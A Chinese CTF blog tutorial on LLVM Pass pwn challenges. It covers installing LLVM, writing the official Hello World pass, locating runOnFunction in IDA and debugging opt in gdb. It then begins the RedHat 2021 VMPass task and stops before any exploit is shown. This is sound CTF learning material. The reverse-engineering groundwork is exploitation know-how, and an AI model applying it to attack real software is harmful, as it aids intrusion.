抱歉,您的浏览器无法访问本站

本页面需要浏览器支持(启用)JavaScript


了解详情 >

BlackBird的博客

这世界上所有的不利状况,都是当事者能力不足导致的

ciscn2022初赛上,第一次见这个题型,当时现场学了一下红帽杯和去年国赛的相同考点的题,但是依旧没有做出来。比赛结束当天还专门复现了一下,结果在强网杯上遇到了还是没做出来……这次稍微总结一下,希望下次能做出来。

根据官网的说明,先安装一下llvmclang

省流:

wget -O - https://apt.llvm.org/llvm-snapshot.gpg.key|sudo apt-key add -
sudo vim /etc/apt/source.list
# deb http://apt.llvm.org/focal/ llvm-toolchain-focal main
# deb-src http://apt.llvm.org/focal/ llvm-toolchain-focal main
## 9
# deb http://apt.llvm.org/focal/ llvm-toolchain-focal-9 main
# deb-src http://apt.llvm.org/focal/ llvm-toolchain-focal-9 main
## 10
# deb http://apt.llvm.org/focal/ llvm-toolchain-focal-10 main
# deb-src http://apt.llvm.org/focal/ llvm-toolchain-focal-10 main
sudo apt update
sudo apt install clang-format clang-tidy clang-tools clang clangd libc++-dev libc++1 libc++abi-dev libc++abi1 libclang-dev libclang1 liblldb-11-dev libllvm-ocaml-dev libomp-dev libomp5 lld lldb llvm-dev llvm-runtime llvm python-clang

基础知识

  • LLVMclang

    首先,我们搞清楚一个概念:

    ​ 编译器结构可分为前端(Front end)和后端(Back end)两部分。前端是机器无关的,其功能是把源程序分解成组成要素和相应的语法结构,通过这个结构创建源程序的中间表示,同时收集和源程序相关的信息,存放到符号表中;后端则是机器相关的,其功能是根据中间表示和符号表信息构造目标程序。

    ​ 编译过程可以大致分为5个步骤:词法分析(Lexical analysis);语法分析(Syntax analysis);语义分析(Semantic analysis);中间代码生成和优化;代码生成和优化

    ​ ——《CTF竞赛权威指南:PWN篇》

    LLVM(Low Level Virtual machine)是一个编译器框架,以C++编写而成,用于优化以任意程序语言编写的程序的编译时间、链接时间、运行时间以及空闲时间,对开发者保持开放,并兼容已有脚本。后来给LLVM专门开发了一个编译前前端——clang,两者的关系是:

    clang与LLVM

    在图中可以很直接看到,IRLLVM的中间表示,文档在这里LLVM的大多数的优化都依赖于LLVM IR展开。opt就是针对IR中间码的优化器。

    LLVM中,IR有三种表示:

    • 一种是可读的IR,类似于汇编代码,但其实它介于高等语言和汇编之间,这种表示就是给人看的,磁盘文件后缀为.ll

    • 第二种是不可读的二进制IR,被称作位码(bitcode),磁盘文件后缀为.bc

    • 第三种表示是一种内存格式,只保存在内存中,所以谈不上文件格式和文件后缀,这种格式是LLVM之所以编译快的一个原因,它编译的中间数据都是这第三种表示的IR

    三种格式是完全等价的,我们可以在Clang/LLVM工具的参数中指定生成这些文件(默认不生成,对于非编译器开发人员来说,也没必要生成),可以通过llvm-asllvm-dis来在前两种文件之间做转换。

    • llvm-as:把LLVM IR从人类能看懂的文本格式汇编成二进制格式。注意:此处得到的不是目标平台的机器码。
    • llvm-disllvm-as的逆过程,即反汇编。 不过这里的反汇编的对象是LLVM IR的二进制格式,而不是机器码。
    • opt:优化LLVM IR。输出新的LLVM IR
    • llc:把LLVM IR编译成汇编码。需要用as进一步得到机器码。
    • lli:解释执行LLVM IR
  • LLVM-Pass

    The LLVM Pass Framework is an important part of the LLVM system, because LLVM passes are where most of the interesting parts of the compiler exist. Passes perform the transformations and optimizations that make up the compiler, they build the analysis results that are used by these transformations, and they are, above all, a structuring technique for compiler code.

    LLVM Pass框架是LLVM系统的重要组成部分,因为LLVM Pass是编译器中最有趣的部分所在。pass是编译器代码的一种结构技术,是编译器的组成部分,执行中间码的转换和优化。总而言之,LLVM PASS就是去处理IR文件,通过opt利用写好的so库优化已有的IR,形成新的IR

    LLVM PASSPWN就是opt加载pass.so文件,对IR代码进行转换和优化这个过程中存在的漏洞加以利用。这里需要注意的是.so文件是不会被pwn的,我们pwn的是加载.so文件的程序——opt。所以我们需要对opt进行常规的检查。

自己手搓

我们参考LLVM的官方文档来写一个自己的pass

搓pass

//Which are needed because we are writing a Pass, we are operating on Functions, and we will be doing some printing.
#include "llvm/Pass.h"
#include "llvm/IR/Function.h"
#include "llvm/Support/raw_ostream.h"

#include "llvm/IR/LegacyPassManager.h"
#include "llvm/Transforms/IPO/PassManagerBuilder.h"
// which is required because the functions from the include files live in the llvm namespace.
using namespace llvm;
// which starts out an anonymous namespace. Anonymous namespaces are to C++ what the “static” keyword is to C (at global scope). It makes the things declared inside of the anonymous namespace visible only to the current file. If you’re not familiar with them, consult a decent C++ book for more information.
namespace {
// This declares a “Hello” class that is a subclass of FunctionPass. The different builtin pass subclasses are described in detail later, but for now, know that FunctionPass operates on a function at a time.    
struct Hello : public FunctionPass {
  // This declares pass identifier used by LLVM to identify pass. This allows LLVM to avoid using expensive C++ runtime information.
  static char ID;
  Hello() : FunctionPass(ID) {}

  // We declare a runOnFunction method, which overrides an abstract virtual method inherited from FunctionPass. This is where we are supposed to do our thing, so we just print out our message with the name of each function.
  bool runOnFunction(Function &F) override {
    errs() << "Hello: ";
    errs().write_escaped(F.getName()) << '\n';
    return false;
  }
}; // end of struct Hello
}  // end of anonymous namespace
// We initialize pass ID here. LLVM uses ID’s address to identify a pass, so initialization value is not important.
char Hello::ID = 0;
// we register our class Hello, giving it a command line argument “hello”, and a name “Hello World Pass”. The last two arguments describe its behavior: if a pass walks CFG without modifying it then the third argument is set to true; if a pass is an analysis pass, for example dominator tree pass, then true is supplied as the fourth argument.
static RegisterPass<Hello> X("hello", "Hello World Pass",
                             false /* Only looks at CFG */,
                             false /* Analysis Pass */);
// If we want to register the pass as a step of an existing pipeline, some extension points are provided, e.g. PassManagerBuilder::EP_EarlyAsPossible to apply our pass before any optimization, or PassManagerBuilder::EP_FullLinkTimeOptimizationLast to apply it after Link Time Optimizations.
static RegisterStandardPasses Y(
    PassManagerBuilder::EP_EarlyAsPossible,
    [](const PassManagerBuilder &Builder,
       legacy::PassManagerBase &PM) { PM.add(new Hello()); });

// clang `llvm-config --cxxflags` -Wl,-znodelete -fno-rtti -fPIC -shared Hello.cpp -o LLVMHello.so `llvm-config --ldflags`
//这里如果报错的话,先执行一下llvm-config --cxxflags,再执行一下llvm-config --ldflags,把结果替换到上面的编译指令里面

省流:在匿名空间(仅文件内部可见)声明了类Hello继承于FunctionPass类,重写了runOnFunction函数,对IR中每一个函数执行runOnFunction方法里面的内容——就是把函数名输出出来。

搓IR

//main.c
#include <stdio.h>
#include <unistd.h>
void func1(){
    puts("Func1 does nothing.");
}
void func2(){
    puts("Func2 does nothing either.");
}
int main(){
	func1();
    func2();
}
//clang -emit-llvm -S main.c -o main.ll

这个是生成的IR文件内容:

; ModuleID = 'main.c'
source_filename = "main.c"
target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-f80:128-n8:16:32:64-S128"
target triple = "x86_64-pc-linux-gnu"

@.str = private unnamed_addr constant [20 x i8] c"Func1 does nothing.\00", align 1
@.str.1 = private unnamed_addr constant [27 x i8] c"Func2 does nothing either.\00", align 1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @func1() #0 {
  %1 = call i32 @puts(i8* getelementptr inbounds ([20 x i8], [20 x i8]* @.str, i64 0, i64 0))
  ret void
}

declare dso_local i32 @puts(i8*) #1

; Function Attrs: noinline nounwind optnone uwtable
define dso_local void @func2() #0 {
  %1 = call i32 @puts(i8* getelementptr inbounds ([27 x i8], [27 x i8]* @.str.1, i64 0, i64 0))
  ret void
}

; Function Attrs: noinline nounwind optnone uwtable
define dso_local i32 @main() #0 {
  call void @func1()
  call void @func2()
  ret i32 0
}

attributes #0 = { noinline nounwind optnone uwtable "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "min-legal-vector-width"="0" "no-infs-fp-math"="false" "no-jump-tables"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }
attributes #1 = { "correctly-rounded-divide-sqrt-fp-math"="false" "disable-tail-calls"="false" "frame-pointer"="all" "less-precise-fpmad"="false" "no-infs-fp-math"="false" "no-nans-fp-math"="false" "no-signed-zeros-fp-math"="false" "no-trapping-math"="false" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "unsafe-fp-math"="false" "use-soft-float"="false" }

!llvm.module.flags = !{!0}
!llvm.ident = !{!1}

!0 = !{i32 1, !"wchar_size", i32 4}
!1 = !{!"clang version 10.0.0-4ubuntu1 "}

加载运行

blackbird@HonjouNia /m/c/U/6/P/tmp> opt-10 -load ./LLVMHello.so -hello ./main.ll
Hello: func1
Hello: func2
Hello: main

逆向分析

我们将编译好的Pass.so文件加载到IDA里面,可以很直接地看到以下内容:

image-20220826232420823

image-20220827001100192

image-20220827002037083

image-20220827002052588

image-20220826232632286

  1. 我们自定义的HelloPass.sostart处注册
  2. 声明在匿名空间的Hello
  3. 用于注册自定义Pass类的llvm::RegisterPass
  4. 保存在.data.rel.ro段的Hello类的vtable,在ELF Dynamic Information上面
  5. 我们自己实现的runOnFunction方法是虚表的最后一项
  6. runOnFunction方法有且仅有一处交叉引用——虚表

上述四个特点都可以做为我们快速定位的定位点。

下来我们动态调试一下:

由于我们无法直接调试.so文件,所以我们是调试opt然后跟进到so文件里面:

image-20220826233256308

调试的时候可以把断点下载llvm::Pass::preparePassManager,程序执行到这里的时候就已经加载了LLVMHello.so文件,我们就可以根据偏移进一步将断点下在LLVMHello.so文件里面

blackbird@HonjouNia /m/c/U/6/P/tmp> gdb  /usr/bin/opt-10
GNU gdb (Ubuntu 9.2-0ubuntu1~20.04.1) 9.2
Copyright (C) 2020 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
    <http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word"...
pwndbg: loaded 199 commands. Type pwndbg [filter] for a list.
pwndbg: created $rebase, $ida gdb functions (can be used with print/break)
GEF for linux ready, type `gef' to start, `gef config' to configure
90 commands loaded and 5 functions added for GDB 9.2 in 0.01ms using Python engine 3.8
Reading symbols from /usr/bin/opt-10...
(No debugging symbols found in /usr/bin/opt-10)
gef➤  set args -load ./LLVMHello.so -hello ./main.ll
gef➤  b llvm::Pass::preparePassManager
Breakpoint 1 at 0x48ee00
gef➤  r
Starting program: /usr/bin/opt-10 -load ./LLVMHello.so -hello ./main.ll
[*] Failed to find objfile or not a valid file format: [Errno 2] No such file or directory: 'system-supplied DSO at 0x7ffff7fce000'
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
WARNING: You're attempting to print out a bitcode file.
This is inadvisable as it may cause display problems. If
you REALLY want to taste LLVM bitcode first-hand, you
can force output with the `-f' option.


Breakpoint 1, 0x00007ffff43afc30 in llvm::Pass::preparePassManager(llvm::PMStack&) () from /lib/x86_64-linux-gnu/libLLVM-10.so.1
[ Legend: Modified register | Code | Heap | Stack | String ]
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax   : 0x00007ffff7918578  →  0x00007ffff5165070  →   push rbx
$rbx   : 0x000000000082ee70  →  0x00007ffff78eb160  →  0x00007ffff438ad90  →   lea rax, [rdi-0x180]
$rcx   : 0x00007fffffffd620  →  0x00007ffff5164e60  →   push r14
$rdx   : 0x00007ffff3305ea0  →  0x0000000000000001
$rsp   : 0x00007fffffffd618  →  0x00007ffff43841b7  →  <llvm::PMTopLevelManager::schedulePass(llvm::Pass*)+39> mov rsi, QWORD PTR [r14+0x10]
$rbp   : 0x00000000007d6600  →  0xffffffffffffffff
$rsi   : 0x000000000082ee78  →  0x00000000008357f0  →  0x00000000008372c0  →  0x00007ffff78eb5f8  →  0x00007ffff438c980  →   add rdi, 0xffffffffffffffe0
$rdi   : 0x0000000000839a50  →  0x00007ffff7918578  →  0x00007ffff5165070  →   push rbx
$rip   : 0x00007ffff43afc30  →  <llvm::Pass::preparePassManager(llvm::PMStack&)+0> ret
$r8    : 0x0000000000839a50  →  0x00007ffff7918578  →  0x00007ffff5165070  →   push rbx
$r9    : 0x00007ffff35b0b80  →  0x0000000000000000
$r10   : 0xfffffffffffffd29
$r11   : 0x00007ffff4389950  →  <llvm::legacy::PassManager::add(llvm::Pass*)+0> mov eax, 0x1a0
$r12   : 0x00007ffff7f95040  →  0x00007ffff7f94f60  →  0x00007ffff7f92378  →  0x00007ffff7f92298  →  0x00007ffff7f91b70  →  0x00007ffff7f915d8  →  0x00007ffff7f914f8  →  0x00007ffff7f91418
$r13   : 0x00000000007d6600  →  0xffffffffffffffff
$r14   : 0x0000000000839a50  →  0x00007ffff7918578  →  0x00007ffff5165070  →   push rbx
$r15   : 0x000000000082ee78  →  0x00000000008357f0  →  0x00000000008372c0  →  0x00007ffff78eb5f8  →  0x00007ffff438c980  →   add rdi, 0xffffffffffffffe0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
0x00007fffffffd618│+0x0000: 0x00007ffff43841b7  →  <llvm::PMTopLevelManager::schedulePass(llvm::Pass*)+39> mov rsi, QWORD PTR [r14+0x10]$rsp
0x00007fffffffd620│+0x0008: 0x00007ffff5164e60  →   push r14     ← $rcx
0x00007fffffffd628│+0x0010: 0x00007fffffffd618  →  0x00007ffff43841b7  →  <llvm::PMTopLevelManager::schedulePass(llvm::Pass*)+39> mov rsi, QWORD PTR [r14+0x10]
0x00007fffffffd630│+0x0018: 0xffffffffffffffff
0x00007fffffffd638│+0x0020: 0xffffffffffffffff
0x00007fffffffd640│+0x0028: 0xfffffffffffff0ff
0x00007fffffffd648│+0x0030: 0xffffffff003f0fcf
0x00007fffffffd650│+0x0038: 0xffffffffffffffff
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
   0x7ffff43afc22 <llvm::Pass::getPassName()+0> pop    rbx
   0x7ffff43afc23 <llvm::Pass::getPassName()+0> ret
   0x7ffff43afc24                  data16 data16 nop WORD PTR cs:[rax+rax*1+0x0]
 → 0x7ffff43afc30 <llvm::Pass::preparePassManager(llvm::PMStack&)+0> ret
   ↳  0x7ffff43841b7 <llvm::PMTopLevelManager::schedulePass(llvm::Pass*)+39> mov    rsi, QWORD PTR [r14+0x10]
      0x7ffff43841bb <llvm::PMTopLevelManager::schedulePass(llvm::Pass*)+43> mov    rdi, rbx
      0x7ffff43841be <llvm::PMTopLevelManager::schedulePass(llvm::Pass*)+46> call   0x7ffff4384c10 <_ZNK4llvm17PMTopLevelManager20findAnalysisPassInfoEPKv>
      0x7ffff43841c3 <llvm::PMTopLevelManager::schedulePass(llvm::Pass*)+51> mov    rbp, rax
      0x7ffff43841c6 <llvm::PMTopLevelManager::schedulePass(llvm::Pass*)+54> test   rax, rax
      0x7ffff43841c9 <llvm::PMTopLevelManager::schedulePass(llvm::Pass*)+57> mov    QWORD PTR [rsp+0x8], rbx
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "opt-10", stopped 0x7ffff43afc30 in llvm::Pass::preparePassManager(llvm::PMStack&) (), reason: BREAKPOINT
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
[#0] 0x7ffff43afc30 → llvm::Pass::preparePassManager(llvm::PMStack&)()
[#1] 0x7ffff43841b7 → llvm::PMTopLevelManager::schedulePass(llvm::Pass*)()
[#2] 0x4be576 → main()
[#3] 0x7ffff33e8083 → __libc_start_main(main=0x4bc630 <main>, argc=0x5, argv=0x7fffffffdec8, init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffdeb8)
[#4] 0x4ad0de → _start()
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤  vmmap
[ Legend:  Code | Heap | Stack ]
Start              End                Offset             Perm Path
0x0000000000400000 0x0000000000784000 0x0000000000000000 r-x /usr/lib/llvm-10/bin/opt
0x0000000000784000 0x000000000078b000 0x0000000000383000 r-- /usr/lib/llvm-10/bin/opt
0x000000000078b000 0x000000000078e000 0x000000000038a000 rw- /usr/lib/llvm-10/bin/opt
0x000000000078e000 0x0000000000850000 0x0000000000000000 rw- [heap]
0x00007ffff3302000 0x00007ffff3306000 0x0000000000000000 rw-
0x00007ffff3306000 0x00007ffff330a000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libbsd.so.0.10.0
0x00007ffff330a000 0x00007ffff3319000 0x0000000000004000 r-x /usr/lib/x86_64-linux-gnu/libbsd.so.0.10.0
0x00007ffff3319000 0x00007ffff331c000 0x0000000000013000 r-- /usr/lib/x86_64-linux-gnu/libbsd.so.0.10.0
0x00007ffff331c000 0x00007ffff331d000 0x0000000000016000 --- /usr/lib/x86_64-linux-gnu/libbsd.so.0.10.0
0x00007ffff331d000 0x00007ffff331e000 0x0000000000016000 r-- /usr/lib/x86_64-linux-gnu/libbsd.so.0.10.0
0x00007ffff331e000 0x00007ffff331f000 0x0000000000017000 rw- /usr/lib/x86_64-linux-gnu/libbsd.so.0.10.0
0x00007ffff331f000 0x00007ffff3322000 0x0000000000000000 rw-
0x00007ffff3322000 0x00007ffff3330000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libtinfo.so.6.2
0x00007ffff3330000 0x00007ffff333f000 0x000000000000e000 r-x /usr/lib/x86_64-linux-gnu/libtinfo.so.6.2
0x00007ffff333f000 0x00007ffff334d000 0x000000000001d000 r-- /usr/lib/x86_64-linux-gnu/libtinfo.so.6.2
0x00007ffff334d000 0x00007ffff3351000 0x000000000002a000 r-- /usr/lib/x86_64-linux-gnu/libtinfo.so.6.2
0x00007ffff3351000 0x00007ffff3352000 0x000000000002e000 rw- /usr/lib/x86_64-linux-gnu/libtinfo.so.6.2
0x00007ffff3352000 0x00007ffff3353000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff3353000 0x00007ffff3355000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff3355000 0x00007ffff3356000 0x0000000000003000 r-- /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff3356000 0x00007ffff3357000 0x0000000000003000 r-- /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff3357000 0x00007ffff3358000 0x0000000000004000 rw- /usr/lib/x86_64-linux-gnu/libdl-2.31.so
0x00007ffff3358000 0x00007ffff335a000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/librt-2.31.so
0x00007ffff335a000 0x00007ffff335e000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/librt-2.31.so
0x00007ffff335e000 0x00007ffff3360000 0x0000000000006000 r-- /usr/lib/x86_64-linux-gnu/librt-2.31.so
0x00007ffff3360000 0x00007ffff3361000 0x0000000000007000 r-- /usr/lib/x86_64-linux-gnu/librt-2.31.so
0x00007ffff3361000 0x00007ffff3362000 0x0000000000008000 rw- /usr/lib/x86_64-linux-gnu/librt-2.31.so
0x00007ffff3362000 0x00007ffff3364000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
0x00007ffff3364000 0x00007ffff3375000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
0x00007ffff3375000 0x00007ffff337b000 0x0000000000013000 r-- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
0x00007ffff337b000 0x00007ffff337c000 0x0000000000019000 --- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
0x00007ffff337c000 0x00007ffff337d000 0x0000000000019000 r-- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
0x00007ffff337d000 0x00007ffff337e000 0x000000000001a000 rw- /usr/lib/x86_64-linux-gnu/libz.so.1.2.11
0x00007ffff337e000 0x00007ffff3386000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libedit.so.2.0.63
0x00007ffff3386000 0x00007ffff33a1000 0x0000000000008000 r-x /usr/lib/x86_64-linux-gnu/libedit.so.2.0.63
0x00007ffff33a1000 0x00007ffff33af000 0x0000000000023000 r-- /usr/lib/x86_64-linux-gnu/libedit.so.2.0.63
0x00007ffff33af000 0x00007ffff33b1000 0x0000000000030000 r-- /usr/lib/x86_64-linux-gnu/libedit.so.2.0.63
0x00007ffff33b1000 0x00007ffff33b2000 0x0000000000032000 rw- /usr/lib/x86_64-linux-gnu/libedit.so.2.0.63
0x00007ffff33b2000 0x00007ffff33b6000 0x0000000000000000 rw-
0x00007ffff33b6000 0x00007ffff33b8000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
0x00007ffff33b8000 0x00007ffff33be000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
0x00007ffff33be000 0x00007ffff33bf000 0x0000000000008000 r-- /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
0x00007ffff33bf000 0x00007ffff33c0000 0x0000000000009000 --- /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
0x00007ffff33c0000 0x00007ffff33c1000 0x0000000000009000 r-- /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
0x00007ffff33c1000 0x00007ffff33c2000 0x000000000000a000 rw- /usr/lib/x86_64-linux-gnu/libffi.so.7.1.0
0x00007ffff33c2000 0x00007ffff33c4000 0x0000000000000000 rw-
0x00007ffff33c4000 0x00007ffff33e6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff33e6000 0x00007ffff355e000 0x0000000000022000 r-x /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff355e000 0x00007ffff35ac000 0x000000000019a000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff35ac000 0x00007ffff35b0000 0x00000000001e7000 r-- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff35b0000 0x00007ffff35b2000 0x00000000001eb000 rw- /usr/lib/x86_64-linux-gnu/libc-2.31.so
0x00007ffff35b2000 0x00007ffff35b6000 0x0000000000000000 rw-
0x00007ffff35b6000 0x00007ffff35b9000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff35b9000 0x00007ffff35cb000 0x0000000000003000 r-x /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff35cb000 0x00007ffff35cf000 0x0000000000015000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff35cf000 0x00007ffff35d0000 0x0000000000018000 r-- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff35d0000 0x00007ffff35d1000 0x0000000000019000 rw- /usr/lib/x86_64-linux-gnu/libgcc_s.so.1
0x00007ffff35d1000 0x00007ffff35de000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x00007ffff35de000 0x00007ffff3685000 0x000000000000d000 r-x /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x00007ffff3685000 0x00007ffff371e000 0x00000000000b4000 r-- /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x00007ffff371e000 0x00007ffff371f000 0x000000000014c000 r-- /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x00007ffff371f000 0x00007ffff3720000 0x000000000014d000 rw- /usr/lib/x86_64-linux-gnu/libm-2.31.so
0x00007ffff3720000 0x00007ffff37b6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
0x00007ffff37b6000 0x00007ffff38a7000 0x0000000000096000 r-x /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
0x00007ffff38a7000 0x00007ffff38f0000 0x0000000000187000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
0x00007ffff38f0000 0x00007ffff38f1000 0x00000000001d0000 --- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
0x00007ffff38f1000 0x00007ffff38fc000 0x00000000001d0000 r-- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
0x00007ffff38fc000 0x00007ffff38ff000 0x00000000001db000 rw- /usr/lib/x86_64-linux-gnu/libstdc++.so.6.0.28
0x00007ffff38ff000 0x00007ffff3902000 0x0000000000000000 rw-
0x00007ffff3902000 0x00007ffff78cd000 0x0000000000000000 r-x /usr/lib/x86_64-linux-gnu/libLLVM-10.so.1
0x00007ffff78cd000 0x00007ffff7db8000 0x0000000003fca000 r-- /usr/lib/x86_64-linux-gnu/libLLVM-10.so.1
0x00007ffff7db8000 0x00007ffff7f40000 0x00000000044b5000 rw- /usr/lib/x86_64-linux-gnu/libLLVM-10.so.1
0x00007ffff7f40000 0x00007ffff7f96000 0x0000000000000000 rw-
0x00007ffff7f96000 0x00007ffff7f9c000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x00007ffff7f9c000 0x00007ffff7fad000 0x0000000000006000 r-x /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x00007ffff7fad000 0x00007ffff7fb3000 0x0000000000017000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x00007ffff7fb3000 0x00007ffff7fb4000 0x000000000001c000 r-- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x00007ffff7fb4000 0x00007ffff7fb5000 0x000000000001d000 rw- /usr/lib/x86_64-linux-gnu/libpthread-2.31.so
0x00007ffff7fb5000 0x00007ffff7fbb000 0x0000000000000000 rw-
0x00007ffff7fc2000 0x00007ffff7fc5000 0x0000000000000000 r-- /mnt/c/Users/60219/Pictures/tmp/LLVMHello.so
0x00007ffff7fc5000 0x00007ffff7fc7000 0x0000000000003000 r-x /mnt/c/Users/60219/Pictures/tmp/LLVMHello.so
0x00007ffff7fc7000 0x00007ffff7fc8000 0x0000000000005000 r-- /mnt/c/Users/60219/Pictures/tmp/LLVMHello.so
0x00007ffff7fc8000 0x00007ffff7fc9000 0x0000000000005000 r-- /mnt/c/Users/60219/Pictures/tmp/LLVMHello.so
0x00007ffff7fc9000 0x00007ffff7fca000 0x0000000000006000 rw- /mnt/c/Users/60219/Pictures/tmp/LLVMHello.so
0x00007ffff7fca000 0x00007ffff7fce000 0x0000000000000000 r-- [vvar]
0x00007ffff7fce000 0x00007ffff7fcf000 0x0000000000000000 r-x [vdso]
0x00007ffff7fcf000 0x00007ffff7fd0000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7fd0000 0x00007ffff7ff3000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ff3000 0x00007ffff7ffb000 0x0000000000024000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffc000 0x00007ffff7ffd000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffd000 0x00007ffff7ffe000 0x000000000002d000 rw- /usr/lib/x86_64-linux-gnu/ld-2.31.so
0x00007ffff7ffe000 0x00007ffff7fff000 0x0000000000000000 rw-
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]

相较于gdb调试,个人感觉这里更适合IDA调试(但其实无谓的……),我们在IDA很容易将断点打在runOnFunction上,然后IDA调试配置如下:

image-20220826234113126

image-20220826234437753

就可以进行快乐的调试了。

因为这个LLVMHello.so写的比较简单,并没有用什么其他复杂的类,但是赛题中很有可能出现其他的类,除了查手册,我们就只能动态调试查看相关功能,所以这里需要我们多调试。

梦的开端——红帽杯2021

下载题目,一共有四个文件,libc.so opt-8 README.txt ref.py VMPass.so,其中README.txt:

Hack LLVM!

Docker Guidance:

FROM ubuntu:18.04
  
RUN sed -i "s/http:\/\/archive.ubuntu.com/http:\/\/mirrors.tuna.tsinghua.edu.cn/g" /etc/apt/sources.list && \
    apt-get update && apt-get -y dist-upgrade && \
    apt-get install -y lib32z1 xinetd libseccomp-dev libseccomp2 seccomp clang-8 opt llvm-8 python

once your exp.bc(bitcode file) is uploaded

Sever will execute `opt-8 -load ./VMPass.so -VMPass ./exp.bc`

README.txt文件中我们可以获取以下信息:

  1. 远程环境Ubuntu1804
  2. LLVM pass类题目
  3. 自定义的Pass类叫做VMPass
  4. 需要我们生成.bc格式的IR码

我们逆向分析VMPass.so看一下:

image-20220827000425220

这里明显是扣了符号表的。我们无法通过类名称直接找到关键函数,我们这里有三种办法定位到关键函数:

  1. 去除了符号表,所以我们把没有符号的函数挨个查看交叉引用,找有且仅有一处交叉引用的函数,这里也可以快速定位到虚表,进一步定位到runOnFunction

  2. .data.rel.ro段(符号表扣了话得翻一翻)寻找vatble,在ELF Dynamic Information上面

    image-20220827001605497

  3. IDAExport窗口,寻找.so文件入口点,然后根据源码特性定位关键函数

    image-20220827001005836

    image-20220827002206125

    image-20220827002228613

    image-20220827002327613

定位到runOnFunction方法后,进行逆向分析。

image-20220827002447268

